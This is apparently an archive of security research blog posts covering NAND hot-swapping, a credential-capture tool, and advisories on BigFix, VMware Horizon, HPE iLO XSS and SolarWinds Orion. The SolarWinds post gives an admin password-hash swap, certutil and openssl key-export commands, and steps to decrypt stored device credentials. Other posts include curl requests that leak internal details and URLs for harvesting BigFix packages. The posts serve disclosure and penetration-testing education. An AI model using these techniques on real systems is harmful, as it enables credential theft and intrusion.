<CUT FOR LENGTH>

----------- spare area for block 0, page 0 -----------
00000800: ff851903 20000008 00fff645 c2b9bf55    .... ......E...U
00000810: ffffffff ffffffff ffee9423 4ba37819    ...........#K.x.
00000820: ffffffff ffffffff ffee9423 4ba37819    ...........#K.x.
00000830: ffffffff ffffffff ffee9423 4ba37819    ...........#K.x.

*** command status = 1
CFE>
web info: Waiting for connection on socket 1.␛[J
CFE>
web info: Waiting for connection on socket 0.␛[J
CFE> ␀----       <----- VCC Removed (reboot)

When the power was removed (marked with 'VCC Removed') the target rebooted and failed to return to the boot loader as the NAND was not accessible. The source of the problem was the right side power cut was in a spot that removed power from the SoC as well as the NAND. Keeping it simple, the initial cut was restored and only the trace closest to the NAND was cut and jumpered:

8.png

Bringing the system back up and attempting the previous test gave me the answer to my initial question: when the power is removed by disconnecting the jumper wires, the system remains operational, as confirmed by running the dn command:

<----- NAND VCC Removed 
CFE> dn
------------------ block: 0, page: 2 ------------------
Status wait timeout: nandsts=0x30000000 mask=0x80000000, count=2000000
Error reading block 0
00001000: 00000000 00000000 00000000 00000000    ................
<CUT FOR LENGTH>
Status wait timeout: nandsts=0x30000000 mask=0x80000000, count=2000000
----------- spare area for block 0, page 2 -----------
00000800: 00000000 00000000 00000000 00000000    ................
00000810: 00000000 00000000 00000000 00000000    ................
00000820: 00000000 00000000 00000000 00000000    ................
00000830: 00000000 00000000 00000000 00000000    ................
Error reading block 0 
*** command status = -1      <----- Expected error reading NAND 
CFE>
CFE>
CFE>
<----- NAND VCC Enabled 
CFE>
CFE> dn
------------------ block: 0, page: 3 ------------------
00001800: 00000000 00000000 00000000 00000000    ................
00001810: 00000000 00000000 00000000 00000000    ................
<CUT FOR LENGTH>
----------- spare area for block 0, page 3 -----------
00000800: ffffffff ffffffff ffee9423 4ba37819    ...........#K.x.
00000810: ffffffff ffffffff ffee9423 4ba37819    ...........#K.x.
00000820: ffffffff ffffffff ffee9423 4ba37819    ...........#K.x.
00000830: ffffffff ffffffff ffee9423 4ba37819    ...........#K.x.
*** command status = 1      <----- Successful NAND read
CFE>

By confirming it is possible to 'turn off' the NAND on the running system without disrupting the boot loader, the next step was to try to power down the NAND and physically remove it from the board while it's running.

Using hot air and tweezers, one side was lifted at a time (right side then left):

9.png

This process resulted in the system restarting and failing to enter the boot loader:

CFE> ␀----    <----- NAND Removed (reboot)
BTRM
V1.6
CPU0
L1CD
MMUI
MMU7
DATA
ZBBS
MAIN
OTP?
OTPP
USBT
NAND
IMG?
FAIL
␀----         <----- FAIL boot loop

Since I had lifted the NAND off one side at a time while monitoring the console it was easy to see that the reboot occurred when lifting the "left" side of the NAND:

10.png

The most likely culprits were the Read Enable (RE#) or Ready/Busy (R/B#) pins changing state. To test this, jumper wires were added to both:

11.png

At this point the NAND had to be placed back on the board in order to return the system back to the boot loader, the NAND was once again powered down by disconnecting the VCC jumpers and the RE#,R/B# lines were held low by attaching them to ground:

12.png

The NAND was again removed, working one side at a time while monitoring the boot loader console:

13.png

This time the boot loader remained active and the system did not reboot. With one more part of the puzzle completed it was time to move on to the next step - attaching the corrupted NAND to the running target.

Once again hot air was used to solder the replacement NAND to the target, the first attempt was unsuccessful as some pins were shorted when trying to get the alignment right on both sides. As encountered previously, failure at this point requires starting the entire process over again - the replacement NAND had to be removed and the original had to be placed back on the board.

For the second attempt, a small piece of paper was used to insulate one side of the NAND while the other was aligned and attached with hot air:

14.png

Once the first side was attached, the paper was removed and the other side was attached. The boot loader remained active once the new NAND was in place. The next step was to re-enable the RE#,R/B# pins by removing the ground jumper wires and finally VCC jumper was reattached. Once everything was reconnected, confirmation that the NAND was available was done again with the dn command:

CFE> dn
------------------ block: 0, page: 0 ------------------
00000000: 00000000 00000000 00000000 00000000    ................
00000010: 00000000 00000000 00000000 00000000    ................
00000020: 00000000 00000000 00000000 00000000    ................
<CUT FOR LENGTH>
----------- spare area for block 0, page 0 -----------
00000800: ff851903 20080000 00c2b822 c978ff97    .... ......".x..
00000810: ffffffff ffffffff ffee9423 4ba37819    ...........#K.x.
00000820: ffffffff ffffffff ffee9423 4ba37819    ...........#K.x.
00000830: ffffffff ffffffff ffee9423 4ba37819    ...........#K.x.

*** command status = 1   <----- Success!
CFE>

With a successful test read completed, the factory firmware image was loaded through the boot loader's web interface:

web info: Waiting for connection on socket 1.␛[J
web info: Upload 70647828 bytes, flash image format.␛[J   <----- Image Upload
CFE> ........

Setting JFFS2 sequence number to 13

Flashing root file system at address 0x06000000 (flash offset 0x06000000): <-----Image Write
.................................................................... .....................................................................
....................................................................
....................................................................
....................................................................
....................................................................
....................................................................
....................................................................
Resetting board in 0 seconds...οΏ½----
BTRM
V1.6
CPU0
L1CD
MMUI
MMU7
DATA
ZBBS
MAIN
OTP?
OTPP
USBT
NAND
IMG?
IMGL
UHD?
UHDP
RLO?
RLOP
UBI?
UBIP
PASS    
----
<CUT FOR LENGTH>
CFE version 1.0.38-161.122 for BCM94908 (64bit,SP,LE)
Build Date: Mon May 13 08:23:21 CST 2019 ([email protected])
Copyright (C) 2000-2015 Broadcom Corporation.

Boot Strap Register:  0x6fc42
Chip ID: BCM4906_A0, Broadcom B53 Quad Core: 1800MHz
Total Memory: 536870912 bytes (512MB)
Status wait timeout: nandsts=0x50000000 mask=0x40000000, count=0
NAND ECC BCH-4, page size 0x800 bytes, spare size used 64 bytes
NAND flash device: , id 0xc2da block 128KB size 262144KB
<CUT FOR LENGTH>
Initalizing switch low level hardware.
pmc_switch_power_up: Rgmii Tx clock zone1 enable 1 zone2 enable 1.
Software Resetting Switch ... Done.
Waiting MAC port Rx/Tx to be enabled by hardware ...Done
Disable Switch All MAC port Rx/Tx
*** Press any key to stop auto run (1 seconds) ***
Auto run second count down: 0
Booting from only image (address 0x06000000, flash offset 0x06000000) ...  <----- Success!!111!
Decompression LZMA Image OK!
Entry at 0x0000000000080000
Starting program at 0x0000000000080000
/memory = 0x20000000
Booting Linux on physical CPU 0x0
Linux version 4.1.27 ([email protected]) (gcc version 5.3.0 (Buildroot 2016.02) ) #2 SMP PREEMPT Fri Jun 19 13:05:44 CST 2020
CPU: AArch64 Processor [420f1000] revision 0
Detected VIPT I-cache on CPU0

As shown in the output, the flash was successful and the system booted into the target operating system.

I am sure some reading this will say - "why not use $device_name_here chip reader/writer to reprogram the NAND?", which is an absolutely fair question and probably makes more sense than this nonsense; However, I believe the fitting quote to reference here is one by the famous chaos theory mathematician:

'Your scientists were so preoccupied with whether they could, they didn't stop to think if they should'

- Dr. Jeffrey Goldblum

NANDcromancy: Live Swapping NAND Flash

Flamingo Captures Credentials

27 January 2020 at 15:04

Far too many products will blindly spray credentials across the network as part of discovery, monitoring, or security scanning tasks. Identifying these products and capturing these credentials requires patiently waiting for the next scan cycle and implementing whichever protocol the product tries to authenticate with. If this is done during a security assessment, the capture process may need to run on a compromised internal server, introducing additional challenges.

During the last Atredis offsite, Chris Bellows suggested that we build better tooling for this, focusing on the protocols that other tools miss and on delivering portable binaries for use on compromised servers. This led to the creation of flamingo, an open-source utility that spawns a bunch of network daemons, waits for inbound credentials, and reports them through a variety of means.

Flamingo is written in Go, includes pre-compiled binaries, and has already received one pull request from outside of Atredis (thanks Alex!). Flamingo can capture inbound credentials for SSH, HTTP, LDAP, FTP, and SNMP, as well as log inbound DNS (and mDNS) queries. On the output side, Flamingo can log to a file, standard output, deliver to a webhook,Β write to a remote syslog server, or all of those at once. As a Go binary, everything is baked into a single executable, and it cross-compiles to almost every supported Go platform and architecture.Β Go is awesome for security tool development and was a great fit for this problem.

flamingo.png

Flamingo is not Responder. Responder is an amazing tool that listens on the network, responds to name requests, and captures credentials. While the main goal of Responder is to coerce systems on the same broadcast domain into sending it Active Directory credentials, Flamingo takes a more passive approach, and does not actively solicit connections through LLMNR or NetBIOS responses. For most scenarios where you want to capture Active Directory credentials, Responder is still your tool of choice.

In addition to portability, configurable outputs, and different protocol support, Flamingo has other unique capabilities worth mentioning.

Flamingo's SSH capture stores all the normal things for password-based authentication, but also reports the entire SSH public key for pubkey-based authentication. This public key can be used to half-auth-scan the local network and identify servers where that credential is accepted. The public key can also be correlated against public keystores, such as Github.com users, to identify the user responsible for the pubkey authentication attempt.

Flamingo supports Nmap-style port ranges for all listeners. Want to spawn a few different SSH servers? Go for it with --ssh-ports 22,2222,4022,6022,8022. How about 100? Sure, with --ssh-ports 1-100. This works across all supported protocols and will try to bind to as many ports as it can, ignoring conflicts, unless the --dont-ignore flag is set. Want to run a mix of plain HTTP and HTTPS services? Use the –-http-ports and –-https-ports parameters to separately define lists of plaintext and encrypted web servers as needed. Only care about LDAP over TLS today? Set –-protocols ldap, --ldap-ports to an empty string, and –-ldaps-ports to your desired list.

Flamingo generates new SSH and TLS keys on startup, by default, and shares these keys across all services. This behavior can be changed by specifying the the --ssh-host-key, --tls-cert, and –-tls-key options, but its nice to not have to worry about it too. The --tls-org option can be used to set the presented organization name in the TLS certificate and the --tls-name option can be used to set the advertised server name in responses.

Flamingo can also support blue teams by feeding authentication attempts into a central reporting system. Drive alerts from your SIEM of choice, either through log parsing, syslog destinations, or plain old webhooks. Flamingo is no Canary, but can be helpful in a pinch, and is certainly a lot more portable than most honeypot listeners.

In summary, we think Flamingo is neat, and would love your feedback and pull requests. If you need a local LLMNR/NetBIOS/mDNS poisoner, Responder is still your tool of choice. If you need a commercial-quality honeypot, Canary is going to be a much better time investment. If you are looking for a tool to capture credentials sprayed by various IT and security scanners, Flamingo might be useful, especially if you need portable binaries and flexible real-time output options. We plan continue building out Flamingo's protocol support and implementing additional output types going forward. If you have any suggestions or run across any bugs, please file an issue in the Github tracker.

-HD and Tom

Flamingo Captures Credentials

CVE-2019-4061: Harvesting Data from BigFix Relay Servers

18 March 2019 at 15:45

External security assessments are one of my favorite parts of working at Atredis. I love the entire process, from sifting through mountains of data to identify the customer’s scope to digging deep into commercial products that we find deployed on the perimeter, it is challenging work and a lot of fun.

A recent service of interest was an externally-exposed IBM BigFix Relay Server. This service provides a HTTP-over-TLS endpoint on TCP port 52311 that enables system administrators to deploy patches to devices outside their firewall, without forcing the use of a VPN. This is great when an update needs to be deployed that involves the VPN itself, but can be problematic from a security perspective.

After identifying an external BigFix Relay Server, Chris Bellows, Ryan Hanson, and I started to dig into the communications protocol between the relay and the client-side agent. We found that unauthenticated agents could enumerate and download almost all deployed packages, updates, and scripts hosted in the BigFix environment. In addition to data access, we also found a number of ways to gather information about the remote environment through the relay service.

The TL;DR of our advisory is that if BigFix is used with an external relay, Relay Authentication should be enabled. Not doing so exposes a ridiculous amount of information to unauthenticated external attackers, sometimes leading to a full remote compromise. Also note than an attacker who has access to the internal network or to an externally connected system with an authenticated agent can still access the BigFix data, even with Relay Authentication enabled. The best path to preventing a compromise through BigFix is to not include any sensitive content in uploaded packages. IBM also addresses this issue on the PSIRT blog.

BigFix uses something called a β€œmasthead” to publish information about a given BigFix installation. The masthead is available on both normal and relay versions of BigFix at the URL https://[relay]:52311/masthead/masthead.axfm.

The masthead includes information such as the server IP, server name, port numbers, digital signatures, and license information, including the email address of the operator who licensed the product. This information can be immediately useful on its own, but its just the tip of the iceberg.

BigFix uses a concept called Sites to organize assets. A full index of configured Sites can be obtained through the URL https://[relay]:52311/cgi-bin/bfenterprise/clientregister.exe?RequestType=FetchCommands. This site listing provides deep visibility in the organization’s internal structure.

Going further, an attacker can obtain a list of package names and versions by requesting the URL https://[relay]:52311/cgi-bin/bfenterprise/BESMirrorRequest.exe. This tells an attacker exactly what versions of what software are installed across the organization. The package list is split into specific Actions, which each have the following format:

Action: 21421

url 1: http://[BigFixServer.Corporate.Example]:52311/Desktop/CreateLocalAdmin.ps1

url 2: http://[BigFixServer.Corporate.Example]:52311/Desktop/SetBIOSPassword.ps1

In order to download package contents from a relay, the package must first be refreshed in the mirror cache. This can be accomplished by requesting URL ID "0" of the Action ID in the URL https://[relay]/bfmirror/downloads/[action]/0

Once the data has been cached, individual sub-URLs may be downloaded by ID https://[relay]/bfmirror/downloads/[action]/1

Automating the process above is straightforward and allows an attacker to obtain copies of the published packages. As hinted above, sometimes these packages include sensitive data, and sometimes this data can be used to directly compromise the organization.

In order to determine how common this issue was, we conducted an internet-wide survey of the IPv4 space, looking for the BigFix masthead file on externally exposed relay servers. Of the ~3.7 billion addressable IPv4 addresses, we found almost 1,500 BigFix Relay servers with Relay Authentication disabled. This list included numerous government organizations, large multinational corporations, health care providers, universities, insurers, major retailers, and financial service providers, along with a healthy number of technology firms. For each identified relay, we queried the masthead and obtained a package list, but did not download any package data.

Shortly after conducting the survey, we reached out to the BigFix product team to start the vulnerability coordination process. The BigFix team has been great to work with; quick to respond and interested in the best outcome for their customers. Over the last three months, the BigFix team has improved their documentation and notified affected customers. As of March 18th, that process has been completed.

In total, our survey found 1,458 exposed BigFix Relay Servers, with versions 9.5.10.79, 9.5.9.62, and 9.5.8.38 being the most common. Looking at just β€œuploaded” packages (custom things uploaded into BigFix by operators), we identified over 25,000 unique files.

Quite a few of these uploaded files appear to contain sensitive data based on the filename.

Encryption and authentication keys

bitlockerADkey.ps1

SSH_KEYtar.tmp

AES.key

_BC4Key.txt

Scripts to set the administrator password

secChangeadminpsw.bat

localadmin_pw.bat

AddWorkstationAdmins.bat

AdminPassword.exe

change_admin_password.exe.tmp

SetConfigPasswordRemote.vbs

In summary, anyone using BigFix with external Relay Servers should enable Relay Authentication as soon as possible. All BigFix users should review their deployed packages and verify that no sensitive information is exposed, including encryption keys and scripts that set hardcoded passwords. Finally, for folks conducting security assessments, keep an eye out for port 52311 on both internet-facing and internal networks.

-HD

CVE-2019-4061: Harvesting Data from BigFix Relay Servers

CVE-2019-5513: Information Leaks in VMWare Horizon

15 March 2019 at 18:07

The VMWare Horizon Connection Server is often used as an internet-facing gateway to an organization’s virtual desktop environment (VDI). Until recently, most of these installations exposed the Connection Server’s internal name, the gateway’s internal IP address, and the Active Directory domain to unauthenticated attackers.

Information leaks like these are not a huge risk on their own, but combined with more significant vulnerabilities they can make a remote compromise easier. I love these kinds of bugs because they provide a view through the corporate firewall into the internal infrastructure, providing insight into naming and addressing conventions.

The Atredis advisory and the VMWare advisory are now online and contain additional details about the the issues and available fixes.

Testing for these issues is straight-forward; the following request to the /portal/info.jsp endpoint will return one or more internal IP addresses along with a version number:

$ curl https://host/portal/info.jsp
{"acceptLanguage":"en-US","clientVersion":"4.9.0","logLevel":"2","clientIPAddress":"192.168.0.12, 192.168.30.45","contextPath":"/portal","feature":{},"os":"unknown","installerLink":"https://www.vmware.com/go/viewclients"}

A POST request to the /broker/xml endpoint returns the broker-service-principal element in the XML response, which contains the service account name (machine account typically) the domain name:

$ curl -k -s -XPOST -H 'Content-Type: text/xml' https://host/broker/xml --data-binary $'<?xml version=\'1.0\' encoding=\'UTF-8\'?><broker version=\'10.0\'><get-configuration></get-configuration></broker>'

…

<broker-service-principal>
<type>kerberos</type>
<name>[email protected]</name>
</broker-service-principal>
</configuration>
</broker>

We would like to thank the VMware Security Response Center for their pleasant handling of this vulnerability report and their excellent communication. VMWare noted that this issue was also independently reported by Cory Mathews of Critical Start.

CVE-2019-5513: Information Leaks in VMWare Horizon

CVE-2018-7117: A Somewhat Accidental XSS in HPE iLO

8 March 2019 at 18:45

INTRODUCTION

At Atredis Partners, we often use dedicated lab networks for testing devices. This helps isolate these devices from "production" networks, and affords us the opportunity to monitor all network communications to/from the device as well as conduct interesting attacks. In this post, we'll briefly discuss a somewhat unexpected find shortly after plugging in an enterprise-grade server during an engagement a few months ago.

(You can also jump straight to the advisory we released today)

THE DEVICE AND THE BUG

I'd like to tell you this was some unique, esoteric device with some incredibly amazing, difficult-to-find, l33t bug ... but I'd be lying. Instead, this device was an HPE ProLiant DL380 Gen10 server, which is fairly common in many enterprise environments; and the bug was ... Cross-Site Scripting.

Now, before the XSS is lame chest-beating begins, bear in mind this bug was found not in a web application running on the host operating system, but rather in the Integrated Lights-Out (or "iLO") side of things. For those unfamiliar, HPE iLO allows system and network administrators the ability to manage and monitor servers through a separate, dedicated network interface, API, and UI. Typical iLO capabilities include, but are not limited to, checking system hardware health, managing device power options (including turning the device on/off), mounting drive images, and even a remote console (although some "enhanced" versions of iLO further restrict access to this and other features).

Once the server was hooked up to the lab network and ready to go, we began poking and prodding all over the place, including the iLO web UI. After logging in and browsing around, familiarizing ourselves with the interface, identifying input points, etc., my colleague messaged me, asking "Did you do this?":

xss-1.png

Admittedly, I was a bit amused by this whole thing because 1) it was a bit of an unexpected discovery and 2) the lab network is configured to "automagically" help test for this and other, similar issues, so it's become almost hands-off or even second nature.

I quickly realized this was the result of how this lab network's DHCP server was configured -- providing different values for DHCP options so as to identify (and even trigger) XSS, command injection and the like in vulnerable clients.

Digging in a wee bit further, we realized it was the domain name (DHCP option 15) that was being rendered unsanitized in the iLO web UI.

xss-3.png

We adjusted the DHCP server configuration to do a bit more than just alert(1), and forced the iLO to pull a new lease, resulting in:

xss-2.png

IMPACT AND OTHER CONSIDERATIONS

While DHCP-provided "domain name" could contain a simple HTML <script> tag with a JavaScript alert box in the authenticated user's browser, an attacker could also specify an external JavaScript resource, providing greater opportunities and capabilities.

That said, there are some things to think about in terms of the real world impact here.

For starters, security best practices, including those straight from HPE, dictate that out-of-band management networks should be connected to a "dedicated management network that is isolated from the production network", though this may not always be implemented correctly, if at all. This means that an attacker would need to be network-adjacent to the target(s), either by gaining a foothold on a device connected to that network and/or by way of a rogue insider, in order to spin up a specially configured DHCP server.

Second, at least for this specific issue, the target iLO(s) would need to be configured to use DHCP, although this is the default.

Third, although slightly less important, egress filtering rules would potentially need to allow devices in the management network to contact external hosts, i.e. to pull external JavaScript and/or exfiltrate data. I say "slightly less important" because it isn't out of the realm of possibility to host JavaScript resources on/transmit captured data within the management network itself, assuming the attacker already has a foothold there.

CONCLUSION

Belated TL;DR: don't underestimate the power of having a lab environment configured for identifying these kinds of injection issues from the get-go, as you never know what you may find, even in what may seem to be an otherwise robust and "secure" platform.

For those who want to perform this kind of testing themselves, there are myriad ways to do so, such as simply configuring your DHCP server-of-choice to dole out "malicious" values in DHCP options, or using freely available tools (or writing your own) to handle the task. The latter could be anything from a Metasploit module to a modified version of pydhcp.

CVE-2018-7117: A Somewhat Accidental XSS in HPE iLO

Fun with SolarWinds Orion Cryptography

26 October 2018 at 08:21

Introduction

We run into a wide variety of network management solutions during our security assessments and penetration tests. The SolarWinds Orion product suite in particular is popular with network administrators and IT teams of all sizes. The Orion platform includes modules such as the Network Engineers Toolkit, Web Performance Monitor, and Network Configuration Management, among many others. We found some fun ways to abuse this product during security tests and wanted to share our notes with the community.

The Orion product uses a Microsoft SQL Server backend to store information about user accounts, network devices, and the credentials used to manage these devices. An Orion system used to manage a large network will typically use a standalone SQL Server installation, while smaller networks will use a local SQL Server Express instance. Since the Orion server houses credentials and can often be used to push and pull network device configurations, it can be a gold mine for expanding access during a penetration test.

Gaining access to the web console without a login

The Orion product is typically managed from the web console; this can use a local account database or an existing Active Directory service. An attacker can then monitor network traffic between the Orion server and a separate SQL Server instance, extracting hashed user passwords and encrypted network device credentials. An attacker that can man-in-the-middle the SQL Server communication can use this to login to the Orion web console with an arbitrary password by replacing the password hash when the web server queries the Accounts table during login. If direct access to the SQL Server database for Orion is possible, a modification to the Accounts table will allow for easy access to the console. If the attacker has local administrator access to the Orion server, they can modify the Accounts table using the Orion Database Manager GUI application. Regardless of how an attacker gains access to the Accounts table, the easiest approach to gaining access is to backup the existing hash, then replace the PasswordHash column for an enabled administrative user.Β  An empty PasswordHash for the "admin" user account corresponds to the following string:"

/+PA4Zck3arkLA7iwWIugnAEoq4ocRsYjF7lzgQWvJc+pepPz2a5z/L1Pz3c366Y/CasJIa7enKFDPJCWNiKRg==

Note that this password hash is only valid for the "admin" user (see notes below on salting). The screenshot below shows the SQL query to reset the "admin" account to the empty password, using the SolarWinds Database Manager GUI (via local administrator access over Remote Desktop).

Replace_PasswordHash.png

Once the PasswordHash has been replaced (or temporarily intercepted), the attacker can login with an empty password for the associated user account. Β 

Β 

SolarWinds Orion "Accounts" table password hashing

Orion password hashing is a variant of a salted SHA512 hash. The hash is computed by first generating a salt that consists of the lowercase username. If the salt is less than 8 bytes long, it is appended with bytes from the string "1244352345234" until it is 8 bytes. For example, the salt for username "ADMIN" would become "admin124", while the salt for "Bo" would become "bo124435". Once the salt has been calculated, a RFC2898 PBKFD2 is generated using the default iteration count of 1000 and the SHA1 hash algorithm. Finally, a SHA512 hash of the PBKDF2 output is taken and encoded using Base64. It doesn't appear that any existing tools support cracking passwords in this format, but Hashcat comes close with PBKDF2-HMAC-SHA1(sha1:1000) support, and is only missing the final call to SHA512(). This hashing function has been implemented in the Ruby script hash-password.rb.

Β 

Harvesting stored network credentials from the database

SolarWinds Orion stores network credentials within the SQL Server database tables. Some of these credentials, such as SNMP v1/v2c community strings, are stored in clear-text, while most are encrypted using a RSA key located in the Orion server local certificate store. Network credentials can be harvested from the database through passive monitoring or active exports, in the latter case, either using standard SQL Server management tools, or if local administrator access has been obtained on the Orion server, using the Database Manager GUI application. A partial list of tables that should be exported to collect credentials includes:

  • Accounts (Username, PasswordHash)

  • Credential (ID, Name)

  • CredentialProperty (ID, Name, Value)

  • Nodes (IPAddress, Community, RWCommunity)

  • NCM_Nodes [View] (Name, Username, Password , EnableLevel , EnablePassword)

  • NCM_GlobalSettings (SettingName, SettingValue)

  • NCM_NodeProperties (Username, Password, EnableLevel, EnablePassword)

  • NCM_ConfigSnippets (AdvancedScript)

  • NCM_ConnectionProfiles (Name, Username, Password, EnableLevel, EnablePassword)

  • SSH_Sessions (HostName, Username, Password)

  • SSO_Tokens

  • Traps (Community)

  • Traps (CommunityStrings (Community)

Decrypting stored network credentials

Network credentials stored within the SQL Server database are encrypted with a RSA key located in the local machine certificate store of the Orion server. For most SQL tables, these credentials are prefixed with the string "SWEN__", while the SSH sessions table uses a raw form without the prefix. To decrypt these credentials, the RSA key for the SolarWinds-Orion certificate must be exported from the system. This typically requires local administrator access and an elevated command shell on the Orion server. To export the key, use certutil:

C:\Temp> certutil -exportPFX -p Atredis my SolarWinds-Orion orion.pfx
my "Personal"
================ Certificate 0 ================
Serial Number: c0e0b5d49a84818048d614012d6c7497
Issuer: CN=SolarWinds-Orion
Β NotBefore: 10/21/2018 6:26 PM
Β NotAfter: 12/31/2039 6:59 PM
Subject: CN=SolarWinds-Orion
Signature matches Public Key
Root Certificate: Subject matches Issuer
Cert Hash(sha1): e60003315dd42f55adeb7f4c2071b6e9bc9dd996
Β  Key Container = 9292e92a-9fb9-4881-94cd-c8c582550268
Β  Unique container name: 7f96c35203d32d4fae1724bb52f38232_c5c554db-595b-4464-ac33-102a5379ad51
Β  Provider = Microsoft Strong Cryptographic Provider
Encryption test passed
CertUtil: -exportPFX command completed successfully.

If an error is returned stating β€œKeyset does not exist”, this typically means that the command was not run as an administrative user with elevated privileges. If certutils does not work for some reason, or if the cert has been marked unexportable, you can still export the private key using Jailbreak or Mimikatz.

Next, the PFX needs to be converted to a standard OpenSSL PEM file. The openssl command handles this with the following syntax:Β 

C:\Temp> openssl pkcs12 -in orion.pfx -out orion.pem -nodes -password pass:Atredis

Using the clear-text orion.pem file, the credentials in the exported database tables can be decrypted using the ruby scripts; decrypt-swen-credentials.rb and decrypt-ssh-sessions.rb. These scripts will read the RSA key from β€œorion.pem” and decrypt credentials found in all files passed as arguments, saving the results to files with the β€œ.dec” extension. the Database Manager GUI includes a handy β€œExport to CSV” button that simplifies this process. The decrypt-ssh-sessions.rb script looks for the password fields in the SSHSessions table, which does not use the β€œSWEN” prefix. The following example demonstrates using the decrypt-swen-credentials.rb script against an export of the NCM_GlobalSettings table.

$ ruby decrypt-swen-credentials.rb NCM_GlobalSettings.csv 
$ cat NCM_GlobalSettings.csv.dec
"SettingName","SettingValue"
"GlobalConfigRequestProtocol","SNMP"
"GlobalConfigTransferProtocol","TFTP"
"GlobalEnableLevel","enable"
"GlobalEnablePassword","ubersecret!"
"GlobalExecProtocol","SSH auto"
"GlobalPassword","secret!"
"GlobalSSHPort","22"
"GlobalTelnetPort","23"
"GlobalUsername","solarwinds"

Conclusion

The SolarWinds Orion platform is a lot of fun for penetration testers, as it can act as a credential store, configuration management system, and remote command execution platform, depending on what modules are configured. As an added bonus, highly segmented networks often whitelist their network monitoring servers, making the SolarWinds server an attractive target for lateral movement. Although the password hashing and credential encryption is relatively sane from a security standpoint, they can be abused with the right tools. I hope the information above is useful and convinces you to pay special attention to network monitoring applications on your next penetration test.

-HD

Fun with SolarWinds Orion Cryptography

  • There are no more articles
❌